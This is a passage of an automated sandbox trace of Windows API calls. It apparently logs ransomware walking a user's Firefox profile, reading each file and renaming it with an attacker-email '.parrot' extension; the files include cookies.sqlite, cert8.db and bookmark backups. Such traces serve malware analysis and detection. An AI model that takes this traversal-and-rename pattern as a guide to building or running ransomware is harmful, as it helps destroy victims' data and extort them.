(in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0090.531] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0090.531] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.532] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.533] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.534] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.534] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.535] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.535] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.536] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.537] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0090.538] CloseHandle (hObject=0x1fc) returned 1 [0090.539] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.539] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.540] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.540] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.542] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.544] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.544] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.545] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.545] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.545] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.546] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\addons.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\addons.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.551] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.555] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.555] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0090.556] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.556] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbdb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0xbdb, lpOverlapped=0x0) returned 1 [0090.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.557] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.557] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.561] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.561] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0090.562] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.562] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbdb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0xbdb, lpOverlapped=0x0) returned 1 [0090.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.563] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.563] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.566] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.567] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.567] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.568] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.568] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x10000, lpOverlapped=0x0) returned 1 [0090.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.573] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.576] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.579] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.579] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.580] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.580] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xce, lpOverlapped=0x0) returned 1 [0090.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.583] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.584] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\compatibility.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\compatibility.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.586] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.587] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.588] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.588] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x38000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x38000, lpOverlapped=0x0) returned 1 [0090.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.598] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.611] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.615] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.615] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.616] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.616] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x80000, lpOverlapped=0x0) returned 1 [0090.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.698] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.698] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.698] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.727] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.734] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.734] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.735] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.735] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x18000, lpOverlapped=0x0) returned 1 [0090.738] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.743] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.746] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.750] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.750] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.751] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.751] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8d, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x8d, lpOverlapped=0x0) returned 1 [0090.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.753] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.753] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.757] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.757] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.758] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.759] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x70000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x70000, lpOverlapped=0x0) returned 1 [0090.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.777] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.791] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.802] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.803] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.803] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0090.803] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.804] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0090.805] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.805] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0090.806] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.806] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0090.807] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, 